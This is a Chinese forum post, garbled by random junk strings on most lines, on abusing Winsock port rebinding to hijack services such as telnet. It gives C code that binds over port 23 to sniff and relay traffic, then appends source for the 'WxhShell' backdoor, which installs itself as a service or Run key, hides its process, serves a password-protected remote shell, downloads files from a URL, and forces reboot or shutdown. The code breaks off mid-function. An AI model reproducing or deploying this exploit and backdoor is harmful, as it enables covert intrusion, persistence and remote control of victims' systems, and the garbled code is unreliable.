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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: (C RY$+d  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); CVh^~!"7j  
,&;#$ b5  
  saddr.sin_family = AF_INET; ?]'Rz\70  
v:MJF*/  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY);  G.3 qg%  
F(-Q]xj,  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); I&oHVFY+  
9nFPGIz+  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 a3wTcp "r  
^gwVh~j  
  这意味着什么?意味着可以进行如下的攻击: 0pWF\<IZ  
Z^w}: {  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Rl7V~dUY  
+)#d+@-  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) P~V0<$C  
q^ {Xn-G  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 pv.0!a/M  
=gCv`SFW  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  bY4~\cP.  
3d^zLL  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 sD,[,6(  
;~Ke5os=s  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 *<yKT$(+_  
mX)UoiXue  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Vu DSjh  
Kf<-PA  
  #include X&1R6 O  
  #include -'FzH?q:  
  #include c]`}DH,TJ  
  #include    Ds4n>V,o  
  DWORD WINAPI ClientThread(LPVOID lpParam);   #:{Bd8PS  
  int main() O Xy>Tlv  
  { 36154*q  
  WORD wVersionRequested; N#-P}\Q9  
  DWORD ret; hKq#i8py  
  WSADATA wsaData; NGD?.^ (G  
  BOOL val; B{wx"mK  
  SOCKADDR_IN saddr; Vd2bG4*=  
  SOCKADDR_IN scaddr; fZ2>%IxG}  
  int err; P;D)5yP092  
  SOCKET s; }Z MbTsm  
  SOCKET sc; ~7Ey9wRkD  
  int caddsize; %t&n%dhJ  
  HANDLE mt; !7MC[z(|N  
  DWORD tid;    `)`J  
  wVersionRequested = MAKEWORD( 2, 2 ); d`D<PT(\  
  err = WSAStartup( wVersionRequested, &wsaData ); )GDP?Nc<Ik  
  if ( err != 0 ) {  =,q,W$-  
  printf("error!WSAStartup failed!\n"); :yN;_bC!b%  
  return -1; qEC -'sl<  
  } ^uzJu(  
  saddr.sin_family = AF_INET; 4^T@n$2N  
   S) /(~  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 uXiAN#1  
 <StyO[  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); G992{B  
  saddr.sin_port = htons(23); Y27x;U  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {AbQaw  
  { S}Wj+H;  
  printf("error!socket failed!\n"); qJ=4HlLno  
  return -1; :-B,Q3d  
  } 0oI3Fb;E  
  val = TRUE; 0FrmZ$  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 A)/ 8FYc  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Az29?|e  
  { isaDIl;L/  
  printf("error!setsockopt failed!\n"); NIcPjo  
  return -1; '!*,JG5_  
  } .lVC>UT  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; gWm -}Nb4  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 i1]*5;q  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $Q,Fr; B  
\2(Uqf#_  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) `9a %vN  
  { "oZ-W?IKE  
  ret=GetLastError(); 6-U+<[,x  
  printf("error!bind failed!\n"); R}MdBE  
  return -1; \_pP:e  
  } z1t YD  
  listen(s,2); Tbl~6P  
  while(1) GAONgz|ZI  
  { FA-"" ]  
  caddsize = sizeof(scaddr); "'us.t.  
  //接受连接请求 CV%AqJN  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1Zc1CUMG  
  if(sc!=INVALID_SOCKET) ig(a28%  
  { J<h^V+x  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); j(4BMk  
  if(mt==NULL) " N)dle,  
  { *oAv:8"iY  
  printf("Thread Creat Failed!\n"); 0 1U/{D6D  
  break; ^&oa\7<'  
  } \}SA{)  
  } 8)IpQG  
  CloseHandle(mt); )N`a4p  
  } uK6`3lCD  
  closesocket(s); +}H2|vP  
  WSACleanup(); lub(chCE[  
  return 0; _5'OQ'P2  
  }    gBQK  
  DWORD WINAPI ClientThread(LPVOID lpParam) (uV ~1  
  { (q'w"qj  
  SOCKET ss = (SOCKET)lpParam; KE3/sw0  
  SOCKET sc; yyke"D  
  unsigned char buf[4096]; mM.-MIp  
  SOCKADDR_IN saddr; {3@lvoDT  
  long num; X;Tayb  
  DWORD val; N S*e<9  
  DWORD ret; &z[39Q{~  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ?bwF$Ku  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   O,(p><k$/  
  saddr.sin_family = AF_INET; Ox;q +5  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); %[(DFutJY+  
  saddr.sin_port = htons(23); #L[-WC]1y  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0PIiG-o9  
  { f`w$KVZ1!w  
  printf("error!socket failed!\n"); EgO=7?(pW  
  return -1; 5y07@x  
  } YEF|SEon0  
  val = 100; @+LkGrDP  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >[TB8  
  { ("(:wYR%  
  ret = GetLastError();  B9IqX  
  return -1; ~B0L7}d  
  } iXN"M` nhm  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) a nK7j2  
  { 44T>Yp09  
  ret = GetLastError(); F3*]3,&L  
  return -1; \ FW{&X9a  
  } 0{bGVLp  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) s)Bmi  
  { RUHQ]@d#T  
  printf("error!socket connect failed!\n"); R*~<?}Rr  
  closesocket(sc); ?n o.hf  
  closesocket(ss); 19a/E1  
  return -1; 2Qg.b- C  
  } ({=: N  
  while(1) ['%]tWT9  
  { LX{[9   
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 a1]@&D r  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Bw2-4K\"kc  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 D<9FSxl6  
  num = recv(ss,buf,4096,0); q]F2bo  
  if(num>0) T1TKwU8l  
  send(sc,buf,num,0); 4%wP}Zj#  
  else if(num==0) My'u('Q%  
  break; ?c7 12a ?  
  num = recv(sc,buf,4096,0); PM3kI\:)m  
  if(num>0) jbx@ty  
  send(ss,buf,num,0); \sB a  
  else if(num==0) *:r@-=M3=  
  break; EVc Ees  
  } fD1J@57  
  closesocket(ss); mY9^W2:  
  closesocket(sc); t,$4J6  
  return 0 ; vt0XCUnK  
  } {KJ!rT  
6 R}]RuFQ  
JSXudz5 c  
========================================================== HO,z[6  
nG<_&h  
下边附上一个代码,,WXhSHELL "&;>l<V  
BS<5b*wG  
========================================================== \6A-eWIQif  
+ v.I|c  
#include "stdafx.h" LGx]z.30B  
_:oB#-0  
#include <stdio.h> ((i%h^tGa;  
#include <string.h> +4G]!tV6  
#include <windows.h> 8[  
#include <winsock2.h> 6t9Q,+nJ  
#include <winsvc.h> %00KOM:  
#include <urlmon.h> * ^R?*vNs  
-r%4,4  
#pragma comment (lib, "Ws2_32.lib") c@d[HstBJ  
#pragma comment (lib, "urlmon.lib") A[QUFk(  
6Yw;@w\  
#define MAX_USER   100 // 最大客户端连接数 d?dZ=]~C  
#define BUF_SOCK   200 // sock buffer UH=pQm ^W  
#define KEY_BUFF   255 // 输入 buffer -*8|J;  
}Z5f5q  
#define REBOOT     0   // 重启 k<p$BZ  
#define SHUTDOWN   1   // 关机 ">='l9  
MY>mP  
#define DEF_PORT   5000 // 监听端口 G gmv(!  
HGqT"N Jr  
#define REG_LEN     16   // 注册表键长度 R;+vE'&CO  
#define SVC_LEN     80   // NT服务名长度 ??& Q"6Oe  
KF^5 C  
// 从dll定义API ;&B;RUUnTO  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Cf@~W)K  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); eZes) &4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9 cU]@j}2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); J^tLKTB  
)}QtK+Rq  
// wxhshell配置信息 AD_RU_a9  
struct WSCFG { +"1@ 6,M  
  int ws_port;         // 监听端口 YlfzHeN1  
  char ws_passstr[REG_LEN]; // 口令 Jq0aDf f  
  int ws_autoins;       // 安装标记, 1=yes 0=no H4C]%Q  
  char ws_regname[REG_LEN]; // 注册表键名  + ]I7]  
  char ws_svcname[REG_LEN]; // 服务名 v x qsK  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ph*?y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 JJ\|FZ N  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ykFm$ 0m+I  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]PWK^-4P  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )kLTyx2&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 K q;X(&Z  
v@_}R_pX  
}; %j3XoRex><  
Ox .6]W~  
// default Wxhshell configuration z ((Y\vP  
struct WSCFG wscfg={DEF_PORT, $['_m~ 2  
    "xuhuanlingzhe", s~N WJ*i  
    1, G 3))3]  
    "Wxhshell",  )l 0\TF  
    "Wxhshell", Nl~'W  
            "WxhShell Service", 1/b5i8I2 v  
    "Wrsky Windows CmdShell Service", )b^yAzL?  
    "Please Input Your Password: ", 1F`1(MYt9  
  1, a3t[Tk;  
  "http://www.wrsky.com/wxhshell.exe", P)7:G?OTx  
  "Wxhshell.exe" \@")2o+  
    }; 9!CD25u  
 bT(}=j  
// 消息定义模块 cJ[ gCS  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; WdQR^'b$   
char *msg_ws_prompt="\n\r? for help\n\r#>"; AQAZ+g(IK  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; v|DgRPY  
char *msg_ws_ext="\n\rExit."; y8oqCe)  
char *msg_ws_end="\n\rQuit."; zfS0M  
char *msg_ws_boot="\n\rReboot..."; N]yh8"7X  
char *msg_ws_poff="\n\rShutdown..."; 44e:K5;]7  
char *msg_ws_down="\n\rSave to "; sa8Q1i&%  
dM n0nc+  
char *msg_ws_err="\n\rErr!"; 9j'(T:Zs  
char *msg_ws_ok="\n\rOK!"; D(bQFRBY6"  
B?bdHO:E~  
char ExeFile[MAX_PATH]; :SBB3G)|  
int nUser = 0; h = <x%sie  
HANDLE handles[MAX_USER]; ,x (?7ZW>  
int OsIsNt; -^C^3pms  
>;wh0dBe  
SERVICE_STATUS       serviceStatus; jU~q~e7Te  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,O`a_b]  
KK-}&N8  
// 函数声明 VsIDd}~C%  
int Install(void); Y52f8qQq  
int Uninstall(void); {|!> {  
int DownloadFile(char *sURL, SOCKET wsh); 2%!yV~Z  
int Boot(int flag); {,:yZ&(  
void HideProc(void); = Ob-'Syg>  
int GetOsVer(void); `i~kW  
int Wxhshell(SOCKET wsl); o8uak*"{  
void TalkWithClient(void *cs); yLpsK[)}\  
int CmdShell(SOCKET sock); sVT:1 kI  
int StartFromService(void); qYba%g9RN(  
int StartWxhshell(LPSTR lpCmdLine); x:wv#Wh:l7  
B EN U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Q)mYy  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); TR7j`?  
92F 9)S{"  
// 数据结构和表定义 (:|g"8mQm  
SERVICE_TABLE_ENTRY DispatchTable[] = QOT|6)Yb  
{ &/+LY_r'<I  
{wscfg.ws_svcname, NTServiceMain}, h*X5O h6  
{NULL, NULL} fYxdG|>{u  
}; ;W~H|M  
&9j*Y  
// 自我安装 "`6pF8k  
int Install(void) uV=ZGr#o  
{ C-2{<$2k  
  char svExeFile[MAX_PATH]; YY4XCkt  
  HKEY key; k-CW?=  
  strcpy(svExeFile,ExeFile); lE=&hba  
dbe\ YE  
// 如果是win9x系统,修改注册表设为自启动 f;{K+\T  
if(!OsIsNt) { 4:zyZu3fm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rq(9w*MW:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {JGXdp:SB  
  RegCloseKey(key); NflwmMJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E'g?44vyw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8x~'fzf;Sq  
  RegCloseKey(key); f%[0}.wp  
  return 0; U;w| =vM  
    } (fqU73  
  } xwhS[d  
} FE=vUQXE2  
else { DeK&_)g| Z  
OCN:{  
// 如果是NT以上系统,安装为系统服务 tO}Y=kZa{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); NG+%H1!$_  
if (schSCManager!=0) } q?*13iy(  
{ };m.8(}$)  
  SC_HANDLE schService = CreateService ^ }kqAmr  
  ( #Fkn-/nL  
  schSCManager, G=( ja?d  
  wscfg.ws_svcname, QHHj.ZY  
  wscfg.ws_svcdisp, 3UgPVCT  
  SERVICE_ALL_ACCESS, <lN=<9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , x'iBEm  
  SERVICE_AUTO_START, M+l~^E0Wj  
  SERVICE_ERROR_NORMAL, P[K42 mm  
  svExeFile, y F;KyY{  
  NULL, =WEWs4V5A  
  NULL, TQL_K8k@_  
  NULL, Wr6y w#  
  NULL, yc7 "tptfF  
  NULL INNTp[  
  ); bbG!Fg=qQ?  
  if (schService!=0) bMGU9~CeJ  
  { 6[T)Q^0`  
  CloseServiceHandle(schService); FT;I|+H*P  
  CloseServiceHandle(schSCManager); os[i  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c~)H" n  
  strcat(svExeFile,wscfg.ws_svcname); 3gQ2wP*K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #,S0uA  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =`EVg>+^  
  RegCloseKey(key); &BOG&ot  
  return 0; } $oZZKS  
    } \R.Fmeko  
  } Hd ${I",  
  CloseServiceHandle(schSCManager); k vF[d{l  
} W@t{pXwLv  
} 0RF<:9@x2  
fO{'$?K  
return 1; s*tzU.E (  
} -Gj."ks  
O_P8OA#|  
// 自我卸载 fX/k;0l  
int Uninstall(void) 4c,{Js  
{ 91oAg[@4G  
  HKEY key; +![\7  
l<UJ@XID$  
if(!OsIsNt) { f)#nXTXeC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -~TgA*_5]  
  RegDeleteValue(key,wscfg.ws_regname); |>v8yS5  
  RegCloseKey(key); Gj- *D7X5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MT^krv(G  
  RegDeleteValue(key,wscfg.ws_regname); ?'mi6jFFh  
  RegCloseKey(key); ? oQ_qleuo  
  return 0; ^K?Mq1"Db  
  } AcIw; c:  
} K*aGz8N  
} umI6# Vd`=  
else { 4mci@1K#^  
U&OE*dq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Eemk2>iP?  
if (schSCManager!=0) bnxR)b~  
{ uuf+M-P  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _xdFQ  
  if (schService!=0) dk.VH!uVb  
  { PbIir=  
  if(DeleteService(schService)!=0) { </li<1  
  CloseServiceHandle(schService); l.%[s6  
  CloseServiceHandle(schSCManager); 3h4'DQ.g  
  return 0; >mp" =Y  
  } ]cP$aixd  
  CloseServiceHandle(schService); G]E-2 _t7  
  } 7NP Ny  
  CloseServiceHandle(schSCManager); mApl}I  
} q/dja  
} m<GJ1)%3i  
OcZ8:`=%  
return 1; 3.V-r59  
} QvDD   
B'-L-]\H  
// 从指定url下载文件 b\^9::oY  
int DownloadFile(char *sURL, SOCKET wsh) 2@?\"kR"!  
{ U,tWLX$@  
  HRESULT hr;  cE7IHQ  
char seps[]= "/"; :M\3.7q  
char *token; I7HP~v~  
char *file; :eL ja*  
char myURL[MAX_PATH]; +*Pj,+;W  
char myFILE[MAX_PATH]; 5tcJT z  
&)F# cVB  
strcpy(myURL,sURL); jbs)]fqC;  
  token=strtok(myURL,seps); OO-b*\QW  
  while(token!=NULL) "dFuQB  
  { ]7 2wv#-  
    file=token; hC2_Yr>N%  
  token=strtok(NULL,seps); RrRE$g  
  } )"H r3  
}NF7"tOL  
GetCurrentDirectory(MAX_PATH,myFILE); t(\P8J  
strcat(myFILE, "\\"); .Eg[[K_iD  
strcat(myFILE, file); "V:E BR  
  send(wsh,myFILE,strlen(myFILE),0); "Rq)%o$Z  
send(wsh,"...",3,0); {U7A&e0eW  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); mqKr+  
  if(hr==S_OK) ZfSAXr "(  
return 0; Q+=D#x  
else -:  8[  
return 1; .>+jtp}  
f}? q  
} A"no!AN  
'`/w%OEVC5  
// 系统电源模块 U Y')|2y 5  
int Boot(int flag) ?%wM8?  
{ ZE"Z_E;r  
  HANDLE hToken; XE.Y?{,R$  
  TOKEN_PRIVILEGES tkp; 6),VN>j  
"&N1$$  
  if(OsIsNt) { "|%'/p  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `'}c- Q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2[TssJQ  
    tkp.PrivilegeCount = 1; :P: OQ[$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  mIkc +X  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); vGI?X#w3  
if(flag==REBOOT) { D?@e,e  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @g==U{k;t  
  return 0; 7 J+cs^2  
} 2` j#eB1  
else { ,]8$QFf  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Q(7M_2e7  
  return 0; )ZQML0}P;  
} D$/*Z5Z)]  
  } D_-<V,3t  
  else { AZ& ]@Ao  
if(flag==REBOOT) { 5Q.z#]L g  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :}}~ $$&  
  return 0; BZ -)XF'4  
} xH/Pw?^  
else { &s<'fSI  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /6d:l>4  
  return 0; 0 |Y'@&  
} KvfZj  
} /%5X:*:H  
IiRII)  
return 1; {wyf>L0j  
} 8 !+eq5S3  
oCR-KR>{Q  
// win9x进程隐藏模块 n> O3p ~  
void HideProc(void) t}2$no?  
{ 7(< z=F  
_ ZC[h~9H  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); a~"<lzu|$  
  if ( hKernel != NULL ) *d;D~"E<@  
  { }~3 %KHT  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); R8YA"(j!L  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); h!UB#-  
    FreeLibrary(hKernel); /ng +IC3  
  } Q ^z&;%q1  
"8YXFg  
return; ]eD5It\  
} L#X!.  
V=DT.u  
// 获取操作系统版本 )3RbD#?  
int GetOsVer(void) > Vvjs  
{ L fx$M  
  OSVERSIONINFO winfo; SFRQpQ06  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); pu9ub.  
  GetVersionEx(&winfo); Bh*7uNM  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (XJ0?;js=  
  return 1; [!CIBK99  
  else ZJeTx.Gi6  
  return 0; 0'O*Y ]h+  
} .P>-Fh,_p  
K%/:V  
// 客户端句柄模块 X`E3lgfqT  
int Wxhshell(SOCKET wsl) 8!q$8]M  
{ .<|.nK`6  
  SOCKET wsh; 9Di@r!Db  
  struct sockaddr_in client; Lavm  
  DWORD myID; b&~s}IX   
u"*Wo'3I|  
  while(nUser<MAX_USER) XexslzI  
{ PK7 kpC  
  int nSize=sizeof(client); A/+bwCDP  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _]~= Kjp  
  if(wsh==INVALID_SOCKET) return 1; jQLiqi`  
%.+#e  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =fZMute  
if(handles[nUser]==0) >84:1 `  
  closesocket(wsh); AyUiX2=w1  
else g0 NSy3t  
  nUser++; [#hoW"'Q9  
  } ( @y te  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); QY]G+3W  
{f kP|d  
  return 0; @p}"B9h*^  
} (iw)C)t*u  
Z 71.*  
// 关闭 socket %x G3z7;  
void CloseIt(SOCKET wsh) :?.RZKXQF  
{ js#72T/_n  
closesocket(wsh); L&s|<<L  
nUser--; \L@DDK|"`6  
ExitThread(0); ]E/~PV  
} 3] u[NR  
<h7FS90S  
// 客户端请求句柄 &lp5W)D  
void TalkWithClient(void *cs) E")g1xGaK  
{ O5?Gv??@  
Ws>2 S  
  SOCKET wsh=(SOCKET)cs; nD8CP[bRo  
  char pwd[SVC_LEN]; ca{u"n  
  char cmd[KEY_BUFF]; 'eRJQ*0F  
char chr[1]; 3.^Tm+ C  
int i,j; ' 3MCb  
B}YpIb]d  
  while (nUser < MAX_USER) { ozr82  
|`50Tf\J  
if(wscfg.ws_passstr) { u^!c:RfE?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 861!p%y5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _:Jra  
  //ZeroMemory(pwd,KEY_BUFF); ^`&?"yj<z  
      i=0; 5sc`L  
  while(i<SVC_LEN) { S`qa_yI)Ed  
n,E =eNc  
  // 设置超时 |VPJaiC~  
  fd_set FdRead; Q-:IE T  
  struct timeval TimeOut; +g6t)Gl  
  FD_ZERO(&FdRead); W$X@DXT=o  
  FD_SET(wsh,&FdRead); \ &S-lsLY  
  TimeOut.tv_sec=8; UFLN/  
  TimeOut.tv_usec=0;  c>(`X@KL  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #kt3l59Ty  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M_Qv{   
:~1sF_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =]auP{AlE  
  pwd=chr[0]; |dxcEjcY_  
  if(chr[0]==0xd || chr[0]==0xa) { A&:i$`m,  
  pwd=0; 7kZ-`V|\.  
  break; s^n}m#T  
  } k]<E1 c/  
  i++; .9Y,N&V<H  
    } M#PutrH  
UJWkG^?  
  // 如果是非法用户,关闭 socket 8.'[>VzBL  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); q|23l1 PI  
} 1JIo,7  
c-ahe;q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); A"`^A brm  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |QI FtdU5T  
aj71oki)  
while(1) { GWU"zWli]z  
W]t!I}yPR  
  ZeroMemory(cmd,KEY_BUFF); W_ =  
8<VO>WA>E  
      // 自动支持客户端 telnet标准   F{g^4  
  j=0; {4@+ 2)l  
  while(j<KEY_BUFF) { *nPB+@f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DD4fV`:kG  
  cmd[j]=chr[0]; [= GVK  
  if(chr[0]==0xa || chr[0]==0xd) {  >Mzk;TM  
  cmd[j]=0; }c"1;C&{  
  break; *XCid_{(  
  } ,bQbj7  
  j++; qXH\e|  
    } @vC7j>*4B  
45u\v2,C3  
  // 下载文件 k[6xuyY]  
  if(strstr(cmd,"http://")) { "XU M$:D  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5yHarC  
  if(DownloadFile(cmd,wsh)) xgX"5Czvv`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =deqj^&@  
  else 9<9 c^2  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `Z}7G@ol  
  } pnvHh0ck_  
  else { )<kI d4E  
;-OnCLr  
    switch(cmd[0]) { @LzqQ [  
  ,.cNs5 [t  
  // 帮助 WP@IV;i  
  case '?': { t#Q" ;e  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .!kO2/:6  
    break; f~RS[h`:  
  } y~w -z4  
  // 安装 e+!+(D  
  case 'i': { D?v)Xqw=  
    if(Install()) lDQ'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zw)*+> +FV  
    else T.fmEl  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FuiEy=+  
    break; Qe&K  
    } RcASFBNpS  
  // 卸载 !F|mCEU  
  case 'r': { (&w'"-`  
    if(Uninstall()) lR^OS*v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rT2gX^Mj&  
    else Z=B6fu*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fcuU,A  
    break; VPKoBJ&  
    } |b@H]c;"  
  // 显示 wxhshell 所在路径 fVU9?^0/)9  
  case 'p': { wz,T7L  
    char svExeFile[MAX_PATH]; \uumNpB*n  
    strcpy(svExeFile,"\n\r"); f?ImQYqP  
      strcat(svExeFile,ExeFile); nZfU:N  
        send(wsh,svExeFile,strlen(svExeFile),0); <*g!R!  
    break; b;N[_2  
    } 3c"$@W:>  
  // 重启 g=*`6@_=  
  case 'b': { _:: q S!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =?*6lS}gy  
    if(Boot(REBOOT)) Lqt.S|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Koi  
    else { aX oD{zA  
    closesocket(wsh); 6O`s&T,t  
    ExitThread(0); D['z/r6F  
    } S G&VZY  
    break; yU-^w^4  
    } eYER "E  
  // 关机 'E4`qq  
  case 'd': { !Od?69W, $  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Qg7rkRia  
    if(Boot(SHUTDOWN)) a w0;  
